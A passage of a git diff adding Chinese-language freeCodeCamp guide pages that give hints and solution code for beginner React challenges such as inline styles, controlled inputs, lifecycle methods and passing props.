+  handleKeyPress(event) { 
+    if (event.keyCode === 13) { 
+      this.handleEnter(); 
+    } 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.message}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+### 资源
+
+[反应组件](https://reactjs.org/docs/react-component.html) ， [共同生命周期](http://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/) ， [国家和生命周期](https://reactjs.org/docs/state-and-lifecycle.html) ， [document.addEventListener](https://www.w3schools.com/jsref/met_document_addeventlistener.asp) ， [HTML DOM事件](https://www.w3schools.com/jsref/dom_obj_event.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/add-inline-styles-in-react/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/add-inline-styles-in-react/index.md
new file mode 100644
index 0000000000..7740d6c760
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/add-inline-styles-in-react/index.md
@@ -0,0 +1,25 @@
+---
+title: Add Inline Styles in React
+localeTitle: 在React中添加内联样式
+---
+## 在React中添加内联样式
+
+您可以声明将对象直接作为prop'style'传递的组件样式。请记住，样式对象的每个属性都是camelcased。所以像'font-size'这样的属性被声明为'fontSize'是一个有效的javascript对象属性。
+
+### 扰流板
+
+```jsx
+class Colorful extends React.Component { 
+  render() { 
+    // change code below this line 
+    return ( 
+      <div style={{color: "yellow", fontSize: 24}}>Style Me!</div> 
+    ); 
+    // change code above this line 
+  } 
+ }; 
+```
+
+### 资源
+
+[DOM元素风格](https://reactjs.org/docs/dom-elements.html#style)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/bind-this-to-a-class-method/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/bind-this-to-a-class-method/index.md
new file mode 100644
index 0000000000..573f863edf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/bind-this-to-a-class-method/index.md
@@ -0,0 +1,55 @@
+---
+title: Bind 'this' to a Class Method
+localeTitle: 将'this'绑定到类方法
+---
+## 将'this'绑定到类方法
+
+如果JavaScript `class`上的方法需要访问实例的某些内部`state` ，比如`this.state` ，则该方法需要绑定到`class`的实例。有关'this'绑定的更详细说明，请[点击此处](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20%26%20object%20prototypes/ch2.md)
+
+### 提示1
+
+像编程中的许多东西一样，绑定它的方法不止一种。对于这个挑战，我们将坚持使用构造函数绑定。
+
+```js
+class MyClass { 
+  constructor() { 
+    this.myMethod = this.myMethod.bind(this); 
+  } 
+ 
+  myMethod() { 
+    // whatever myMethod does 
+  } 
+ } 
+```
+
+## 扰流板
+
+```jsx
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      itemCount: 0 
+    }; 
+    // change code below this line 
+    this.addItem = this.addItem.bind(this); 
+    // change code above this line 
+  } 
+  addItem() { 
+    this.setState({ 
+      itemCount: this.state.itemCount + 1 
+    }); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+        <button onClick={this.addItem}>Click Me</button> 
+        { /* change code above this line */ } 
+        <h1>Current Item Count: {this.state.itemCount}</h1> 
+      </div> 
+    ); 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/change-inline-css-conditionally-based-on-component-state/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/change-inline-css-conditionally-based-on-component-state/index.md
new file mode 100644
index 0000000000..6240bb35cd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/change-inline-css-conditionally-based-on-component-state/index.md
@@ -0,0 +1,68 @@
+---
+title: Change Inline CSS Conditionally Based on Component State
+localeTitle: 有条件地改变内联CSS基于组件状态
+---
+## 有条件地改变内联CSS基于组件状态
+
+## 提示1：
+
+您将检查`this.state.input`的长度，因此请使用它的`.length`属性。
+```
+this.state.input.length 
+```
+
+## 提示2：
+
+您在return语句之前输入代码，因此您可以使用纯JavaScript `if/then`语句。
+
+## 解：
+
+您将使用`if/then`语句来检查`this.state.input.length`的值。如果长度超过15， `inputStyle.border` `'3px solid red'`分配给`inputStyle.border` 。
+
+```jsx
+class GateKeeper extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      input: '' 
+    }; 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+  handleChange(event) { 
+    this.setState({ input: event.target.value }) 
+  } 
+  render() { 
+    let inputStyle = { 
+      border: '1px solid black' 
+    }; 
+    // change code below this line 
+    if (this.state.input.length > 15) { 
+      inputStyle.border = '3px solid red'; 
+    } 
+    // change code above this line 
+    return ( 
+      <div> 
+        <h3>Don't Type Too Much:</h3> 
+        <input 
+          type="text" 
+          style={inputStyle} 
+          value={this.state.input} 
+          onChange={this.handleChange} /> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+## 解
+
+编写根据您的状态计算的条件语句，如质询描述中所述，检查输入的长度并将新对象分配给inputStyle变量。
+
+```react.js
+if (this.state.input.length > 15) { 
+  inputStyle = { 
+    border: '3px solid red' 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/compose-react-components/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/compose-react-components/index.md
new file mode 100644
index 0000000000..fb4c5538c6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/compose-react-components/index.md
@@ -0,0 +1,49 @@
+---
+title: Compose React Components
+localeTitle: 撰写反应组件
+---
+## 撰写反应组件
+
+### 暗示
+
+使用嵌套组件，如上一个问题所述，以呈现组件。
+
+### 解
+
+以下是chakkenge的解决方案，它在一个组件中呈现Citrus和NonCitrus，然后在另一个组件中呈现：
+
+```jsx
+class Fruits extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h2>Fruits:</h2> 
+        <NonCitrus /> 
+        <Citrus /> 
+      </div> 
+    ); 
+  } 
+ }; 
+ 
+ class TypesOfFood extends React.Component { 
+  constructor(props) { 
+     super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <Fruits /> 
+        <Vegetables /> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+### 相关链接：
+
+*   [组件和道具](https://reactjs.org/docs/components-and-props.html)
+*   [嵌套组件](http://www.reactjstutorial.net/nested-components.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-complex-jsx-element/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-complex-jsx-element/index.md
new file mode 100644
index 0000000000..db77c54867
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-complex-jsx-element/index.md
@@ -0,0 +1,21 @@
+---
+title: Create a Complex JSX Element
+localeTitle: 创建一个复杂的JSX元素
+---
+## 创建一个复杂的JSX元素
+
+暗示：
+
+```html
+
+const JSX = <div> 
+  <h1>Heading.</h1> 
+  <p>Paragraph</p> 
+ <ul> 
+  <li>Coffee</li> 
+  <li>Tea</li> 
+  <li>Milk</li> 
+ </ul> 
+ </div>; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-component-with-composition/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-component-with-composition/index.md
new file mode 100644
index 0000000000..f6aafe8916
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-component-with-composition/index.md
@@ -0,0 +1,38 @@
+---
+title: Create a Component with Composition
+localeTitle: 使用Composition创建一个Component
+---
+## 使用Composition创建一个Component
+
+### 提示1
+
+将要呈现的组件添加到要呈现它的组件中。
+
+### 提示2
+
+使用JSX自闭标记。
+
+### 提示3
+
+要呈现的组件是ChildComponenet，它将在ParentComponent中呈现
+
+### 解
+
+以下将根据需要呈现ParentComponent中的ChildComponent：
+
+```javascript
+class ParentComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>I am the parent</h1> 
+        <ChildComponent /> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-controlled-form/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-controlled-form/index.md
new file mode 100644
index 0000000000..71305123f0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-controlled-form/index.md
@@ -0,0 +1,34 @@
+---
+title: Create a Controlled Form
+localeTitle: 创建受控表格
+---
+## 创建受控表格
+
+创建受控表单与创建受控输入的过程相同，除非您需要处理提交事件。
+
+首先，创建一个受控输入，将其值存储在状态中，以便存在单一的事实来源。 （这是您在上一次挑战中所做的。）创建一个输入元素，将其value属性设置为位于state中的输入变量。请记住， `this.state`可以访问状态。接下来，设置input元素的`onChange`属性以调用函数'handleChange'。
+
+### 解
+
+```react.js
+<input value={this.state.input} onChange={this.handleChange}/> 
+```
+
+接下来，为组件创建handleSubmit方法。首先，因为您的表单正在提交，您必须阻止页面刷新。其次，调用`setState()`方法，传入要更改的不同键值对的对象。在这种情况下，您希望将“submit”设置为变量“input”的值，并将“input”设置为空字符串。
+
+```react.js
+handleSubmit(event) { 
+  event.preventDefault(); 
+  this.setState({ 
+    input: '', 
+    submit: this.state.input 
+  }); 
+ } 
+```
+
+现在您的数据正在处理状态，我们可以使用这些数据。创建一个`h1`元素。你的`h1`元素里面放了你的'submit'变量。请记住，'submit'位于州内，因此您需要使用`this.state` 。此外，将变量放在JSX中需要花括号`{ }`因为它是JavaScript。
+
+```jsx
+<h1>{this.state.submit}</h1> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-controlled-input/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-controlled-input/index.md
new file mode 100644
index 0000000000..861023cc22
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-controlled-input/index.md
@@ -0,0 +1,35 @@
+---
+title: Create a Controlled Input
+localeTitle: 创建受控输入
+---
+## 创建受控输入
+
+这里的想法是创建一个受控输入，其中文本从您的状态更新，而不是从浏览器更新。
+
+首先，我们有一个骨架，其中我们有一个名为`ControlledInput`的类和一个名为`input`的状态变量。现在您需要做的就是采用该状态，当观察到输入框中的更改时，会触发一个函数，该函数会更改该输入框内及其下方段落中的值。
+
+因此，您首先要制作一个更改状态变量`input`的函数。
+```
+handleChange(event) { 
+    this.setState({ 
+      input: event.target.value 
+    }); 
+ } 
+```
+
+现在，您的下一步将涉及创建一个输入框，并在有人输入任何内容时触发它。幸运的是，我们有一个名为`onChange()`的事件来实现此目的。 PS -这里是绑定的另一种方式`this`为功能
+```
+<input onChange = {this.handleChange.bind(this)}/> 
+```
+
+但这不符合你的目的。虽然你可能觉得它的工作原理。所以这里发生的是来自浏览器而不是状态的文本更新。所以为了纠正这个问题，我们将添加一个`value`属性并将其设置为`this.state.input`到input元素，这将使输入受状态控制。
+```
+<input value = {this.state.input} onChange = {this.handleChange.bind(this)}/> 
+```
+
+它可能有点难以消化，但为了使事情更清楚，请尝试删除整个`onChange`事物，以便您的代码看起来像这样
+```
+<input value = {this.state.input}/> 
+```
+
+现在再次运行测试你能输入什么吗？ 这个问题的答案将是“NO”，因为你的输入框中从状态变量中获得价值`input` ，因为在状态没有改变`input` （空字符串开始），当您触发功能，只会发生`handleChange()`这将只有在你有像`onChange()`这样的事件处理程序时才会发生，因此输入框内的字符串将保持不变，即空字符串。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-react-component/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-react-component/index.md
new file mode 100644
index 0000000000..9e787b506f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-react-component/index.md
@@ -0,0 +1,32 @@
+---
+title: Create a React Component
+localeTitle: 创建一个React组件
+---
+## 创建一个React组件
+
+## 提示1：
+
+*   你会一直看到这些React类组件，所以现在是适应它们的好时机。请记住，在本练习中，您不必定义组件，只需要使一个函数在标记的行之间返回一个小的html。
+*   记住上一节并返回一个“div”元素，其中包含带有文本Hello React！的“h1”。
+*   “div”元素有一个孩子，所以记得关闭所有标签。
+
+## 解
+
+```javascript
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    // change code below this line 
+    return ( 
+      <div> 
+       <h1>Hello React!</h1> 
+      </div> 
+    ); 
+    // change code above this line 
+  } 
+ }; 
+```
+
+请注意，您不需要在文本周围加上引号，因为在使用JSX时，它被视为HTML。还要检查以确保您的拼写，大小写和标点符号正确无误！如果所有这些代码看起来很奇怪，请在freeCodeCamp上查看Javascript ES6上的一些很棒的资料。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-simple-jsx-element/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-simple-jsx-element/index.md
new file mode 100644
index 0000000000..4243b248a0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-simple-jsx-element/index.md
@@ -0,0 +1,7 @@
+---
+title: Create a Simple JSX Element
+localeTitle: 创建一个简单的JSX元素
+---
+## 创建一个简单的JSX元素
+
+这个挑战相当简单，用h1替换JSX元素中的div `javascript const JSX=<h1></h1>;` 然后添加所需的文本。 `javascript const JSX = <h1>Hello JSX!</h1>;`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-stateful-component/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-stateful-component/index.md
new file mode 100644
index 0000000000..44b98e9409
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-stateful-component/index.md
@@ -0,0 +1,49 @@
+---
+title: Create a Stateful Component
+localeTitle: 创建一个有状态组件
+---
+## 创建一个有状态组件
+
+#### 提示1：
+
+```JSX
+class StatefulComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    // initialize state here 
+        // "This" area may be a good place to use "dot" notation. 
+        // dont forget to describe "name" property inside the state and assign your name to a property of "name". 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+## 解
+
+```JSX
+class StatefulComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    // initialize state here 
+ 
+    this.state = { 
+      name : "Name" 
+    } 
+ 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-stateless-functional-component/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-stateless-functional-component/index.md
new file mode 100644
index 0000000000..a3e5086027
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/create-a-stateless-functional-component/index.md
@@ -0,0 +1,25 @@
+---
+title: Create a Stateless Functional Component
+localeTitle: 创建无状态功能组件
+---
+## 创建无状态功能组件
+
+### 提示1
+
+*   无状态函数是创建React组件的方法之一。
+*   这些函数可以接收数据并对其进行渲染，但不管理或跟踪对该数据的更改。
+*   为了构建组件，一个无状态组件，返回函数是必要的东西之一，这就是缺少的东西
+
+### 提示2
+
+像这样添加一个返回函数
+
+```jsx
+return( 
+    <return elements> 
+ ); 
+```
+
+### 解
+
+`jsx return( <div>Completed challenge!</div> );`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/define-an-html-class-in-jsx/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/define-an-html-class-in-jsx/index.md
new file mode 100644
index 0000000000..1a91db89f4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/define-an-html-class-in-jsx/index.md
@@ -0,0 +1,25 @@
+---
+title: Define an HTML Class in JSX
+localeTitle: 在JSX中定义HTML类
+---
+## 在JSX中定义HTML类
+
+*   HTML和JSX可能看起来完全相同，但它们之间存在一些差异。
+*   其中一个差异是命名约定。
+*   JSX中的HTML属性和事件引用变为camelCase（onclick => onClick）。
+*   在JavaScript中可能还会保留一些单词。例如，“class”这个词不能用于定义HTML类 在JSX中。因此，您可以使用“className”而不是使用“class”。
+
+## 提示1：
+
+*   您可能希望将“class”更改为“className”。
+
+## 解
+
+```javascript
+const JSX = ( 
+  <div className = "myDiv"> 
+    <h1>Add a class to this div</h1> 
+  </div> 
+ ); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/give-sibling-elements-a-unique-key-attribute/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/give-sibling-elements-a-unique-key-attribute/index.md
new file mode 100644
index 0000000000..682af4904f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/give-sibling-elements-a-unique-key-attribute/index.md
@@ -0,0 +1,20 @@
+---
+title: Give Sibling Elements a Unique Key Attribute
+localeTitle: 为兄弟元素提供唯一的键属性
+---
+## 为兄弟元素提供唯一的键属性
+
+## 暗示
+
+它与之前的[挑战](https://learn.freecodecamp.org/front-end-libraries/react/use-array-map-to-dynamically-render-elements)几乎相同。只需要添加`key`属性。
+
+## 解
+
+只需将`key`属性添加到`<li>`标记即可使其唯一
+
+```react.js
+const renderFrameworks = frontEndFrameworks.map((item) => 
+  <li key={item+1}>{item}</li> 
+ ); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/index.md
new file mode 100644
index 0000000000..4fc5d034a6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/index.md
@@ -0,0 +1,11 @@
+---
+title: React
+localeTitle: 应对
+---
+## 应对
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/introducing-inline-styles/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/introducing-inline-styles/index.md
new file mode 100644
index 0000000000..969c889632
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/introducing-inline-styles/index.md
@@ -0,0 +1,57 @@
+---
+title: Introducing Inline Styles
+localeTitle: 介绍内联样式
+---
+## 介绍内联样式
+
+## 解
+
+这可能有点棘手，因为JSX与HTML非常相似但**不一样** 。
+
+让我们逐步了解这些步骤，以便您了解其中的差异。 首先将样式标记设置为**JavaScript对象** 。
+
+```react.js
+class Colorful extends React.Component { 
+  render() { 
+    return ( 
+      <div style={{}}> 
+        Big Red 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+现在，您将样式标记设置为空对象。请注意有两组花括号。这是JSX和HTML之间的重要区别。
+
+其次，让我们将颜色设置为红色。
+
+```react.js
+class Colorful extends React.Component { 
+  render() { 
+    return ( 
+      <div style={{ color: 'red' }}> 
+        Big Red 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+最后，让我们将字体大小设置为72px。
+
+### 扰流板
+
+```react.js
+class Colorful extends React.Component { 
+  render() { 
+    return ( 
+      <div style={{ color: 'red', fontSize: '72'}}> 
+        Big Red 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+注意JSX属性是如何使用**camelCase的** 。这是记住JSX的另一个重要区别。 此外，您可能注意到没有单位。在JSX中，设置fontSize属性时， **单位是可选的** ，如果不手动设置，将自动设置为px。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/learn-about-self-closing-jsx-tags/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/learn-about-self-closing-jsx-tags/index.md
new file mode 100644
index 0000000000..17b72d3ab5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/learn-about-self-closing-jsx-tags/index.md
@@ -0,0 +1,34 @@
+---
+title: Learn About Self-Closing JSX Tags
+localeTitle: 了解自我关闭JSX标签
+---
+## 了解自我关闭JSX标签
+
+## 提示1：
+
+```js
+const JSX = ( 
+  <div> 
+    {/* remove comment and change code below this line // Remember that comments in JSX have parentheses. 
+    <h2>Welcome to React!</h2> <br > // ? 
+    <p>Be sure to close all tags!</p> 
+    <hr >  // ? 
+    remove comment and change code above this line */} // Remember that comments in JSX have parentheses. 
+  </div> 
+ ); 
+```
+
+## 解
+
+```js
+const JSX = ( 
+  <div> 
+ 
+    <h2>Welcome to React!</h2> <br /> 
+    <p>Be sure to close all tags!</p> 
+    <hr /> 
+ 
+  </div> 
+ ); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/manage-updates-with-lifecycle-methods/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/manage-updates-with-lifecycle-methods/index.md
new file mode 100644
index 0000000000..4c69cedb0c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/manage-updates-with-lifecycle-methods/index.md
@@ -0,0 +1,79 @@
+---
+title: Manage Updates with Lifecycle Methods
+localeTitle: 使用生命周期方法管理更新
+---
+## 使用生命周期方法管理更新
+
+这个挑战让您创建了几个生命周期函数，componentWillUpdate和ComponentWillReceiveProps。您将获得另一个名为componentDidUpdate的函数。我们将讨论如何在组件生命周期的每个阶段使用它们，以及在检查组件的不同阶段时应该如何使用它们。
+
+让我们谈谈功能以及如何使用它们。组件生命周期可分为4个阶段。 Initlization - > Mounting - > Updating - > Unmounting。您将使用的组件将属于更新阶段。
+
+调用这些函数的过程如下：componentWillReceiveProps - > componentWillUpdate - > componentDidUpdate
+
+当您创建componentWillReceiveProps时，此函数将检查是否有新的道具被接收。如果组件确实接收到新的道具，那么将调用该函数，并且在块内可以比较两个道具状态。该函数将接受一个通常名为nextProps的参数，并将其与this.props进行比较。挑战是您使用传递的参数nextProps创建此函数。请参阅下面提供的功能
+
+接下来将在组件生命周期componentWillUpdate中调用，此函数将检查是否有对props或state的任何更新，并将在组件呈现之前调用。挑战已经为您提供了这个功能，它会注销“组件即将更新”。
+
+一旦组件通过componentWillUpdate阶段并且组件呈现，将调用componentDidUpdate。在此阶段，您可以调用this.setState来更新前两个阶段中发生的任何状态chanegs。注意：如果在条件内包装，则只能调用setState。由于这个挑战只是让你浮出水面，他们希望你注意“组件已更新”。
+
+一旦实现了所有生命周期功能，您应该会看到一些控制台日志正在显示。首先，您将看到componentWillReceiveProps向您发送this.props和nextProps。接下来，您将看到一个控制台日志，通知您componentWillUpdate。最后，在组件呈现后，它将调用componentDidUpdate并注销“Component has updated”。
+
+注意：您正在创建的组件已被弃用，并且可以在版本17之前使用。您可以在下面的资源部分中找到有关这些功能的更多信息。
+
+```javascript
+class Dialog extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  componentWillUpdate() { 
+    console.log('Component is about to update...'); 
+  } 
+  // change code below this line 
+ 
+  // Create componentWillReceiveProps 
+  // Pass in argument nextProps and log out the current prop and next prop 
+  componentWillReceiveProps(nextProps) { 
+    // Log the current property and the next property 
+    console.log(this.props, nextProps) 
+  } 
+ 
+  // Create function componentDidUpdate 
+  // Log out that the component has updated 
+  componentDidUpdate() { 
+    console.log("Component has updated") 
+  } 
+ 
+  // change code above this line 
+  render() { 
+    return <h1>{this.props.message}</h1> 
+  } 
+ }; 
+ 
+ class Controller extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      message: 'First Message' 
+    }; 
+    this.changeMessage = this.changeMessage.bind(this); 
+  } 
+  changeMessage() { 
+    this.setState({ 
+      message: 'Second Message' 
+    }); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.changeMessage}>Update</button> 
+        <Dialog message={this.state.message}/> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+### 资源
+
+*   [反应组件生命周期](https://reactjs.org/docs/react-component.html#the-component-lifecycle)
+*   [React Component Lifecycle Visual](https://cdn-images-1.medium.com/max/2000/1*sn-ftowp0_VVRbeUAFECMA.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/optimize-re-renders-with-shouldcomponentupdate/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/optimize-re-renders-with-shouldcomponentupdate/index.md
new file mode 100644
index 0000000000..93bd6472ae
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/optimize-re-renders-with-shouldcomponentupdate/index.md
@@ -0,0 +1,63 @@
+---
+title: Optimize Re-Renders with shouldComponentUpdate
+localeTitle: 使用shouldComponentUpdate优化重新渲染
+---
+## 使用shouldComponentUpdate优化重新渲染
+
+## 暗示：
+
+检查`nextProps`的值是否均匀。
+
+## 解：
+
+对于此解决方案，您将使用`if/then`语句来检查`nextProps`的值是否为偶数。 `nextProps`与`props`不同之处在于它是一个尚未在UI中呈现的值，因此在`shouldComponentUpdate()`方法中，您基本上要求使用`nextProps`值更新UI的`nextProps` 。
+
+```jsx
+class OnlyEvens extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  shouldComponentUpdate(nextProps, nextState) { 
+    console.log('Should I update?'); 
+     // change code below this line 
+      if (nextProps.value % 2 == 0) { 
+        return true; 
+      } 
+      return false; 
+     // change code above this line 
+  } 
+  componentWillReceiveProps(nextProps) { 
+    console.log('Receiving new props...'); 
+  } 
+  componentDidUpdate() { 
+    console.log('Component re-rendered.'); 
+  } 
+  render() { 
+    return <h1>{this.props.value}</h1> 
+  } 
+ }; 
+ 
+ class Controller extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      value: 0 
+    }; 
+    this.addValue = this.addValue.bind(this); 
+  } 
+  addValue() { 
+    this.setState({ 
+      value: this.state.value + 1 
+    }); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.addValue}>Add</button> 
+        <OnlyEvens value={this.state.value}/> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/override-default-props/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/override-default-props/index.md
new file mode 100644
index 0000000000..33875ffe9f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/override-default-props/index.md
@@ -0,0 +1,31 @@
+---
+title: Override Default Props
+localeTitle: 覆盖默认道具
+---
+## 覆盖默认道具
+
+此挑战使您可以覆盖Items组件的props `quantity`的默认值。其中， `quantity`默认值设置为`0` 。
+
+```react.js
+const Items = (props) => { 
+  return <h1>Current Quantity of Items in Cart: {props.quantity}</h1> 
+ } 
+ 
+ Items.defaultProps = { 
+  quantity: 0 
+ } 
+```
+
+要覆盖默认的props值，要遵循的语法是
+
+```react.js
+<Component propsName={Value}/> 
+```
+
+在语法之后，应在给定代码下面声明以下代码
+
+```react.js
+<Items quantity={50}/> 
+```
+
+这将覆盖值`0`到`50`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/pass-a-callback-as-props/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/pass-a-callback-as-props/index.md
new file mode 100644
index 0000000000..dad924138f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/pass-a-callback-as-props/index.md
@@ -0,0 +1,47 @@
+---
+title: Pass a Callback as Props
+localeTitle: 将回调作为道具传递
+---
+## 将回调作为道具传递
+
+### 描述
+
+*   将`GetInput`组件添加到MyApp中的render方法，然后将一个名为`inpu`的prop从`inputValue`的状态传递给`inputValue` 。还要创建一个名为`handleChange`的prop，并将输入处理程序`handleChange`给它。
+*   将`RenderInput`添加到MyApp中的render方法，然后创建一个名为`input`的prop，并将`inputValue`从state传递给它。
+
+### 提示
+
+*   `state`是一个属性`Myapp`类，所以用“this.state”来获取对象的值
+*   要了解有关状态和道具的更多信息，请阅读[状态和生命周期](https://reactjs.org/docs/state-and-lifecycle.html)以及[组件和道具](https://reactjs.org/docs/components-and-props.html) 。
+
+### 解
+
+```javascript
+class MyApp extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      inputValue: '' 
+    } 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+  handleChange(event) { 
+    this.setState({ 
+      inputValue: event.target.value 
+    }); 
+  } 
+  render() { 
+    return ( 
+       <div> 
+        { /* change code below this line */ 
+        <GetInput input={this.state.inputValue} handleChange={this.handleChange}/> 
+        } 
+        { /* change code above this line */ 
+        <RenderInput input={this.state.inputValue}/> 
+        } 
+       </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/pass-an-array-as-props/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/pass-an-array-as-props/index.md
new file mode 100644
index 0000000000..bc49a5ef98
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/pass-an-array-as-props/index.md
@@ -0,0 +1,44 @@
+---
+title: Pass an Array as Props
+localeTitle: 将数组作为道具传递
+---
+## 将数组作为道具传递
+
+要将数组作为prop传递，首先必须在要呈现的每个组件上将数组声明为“tasks”prop：
+
+```javascript
+const List= (props) => { 
+  return <p></p> 
+ }; 
+ 
+ class ToDo extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>To Do Lists</h1> 
+        <h2>Today</h2> 
+        <List tasks={["Walk", "Cook", "Bake"]} /> 
+        <h2>Tomorrow</h2> 
+        <List tasks={["Study", "Code", "Eat"]}/> 
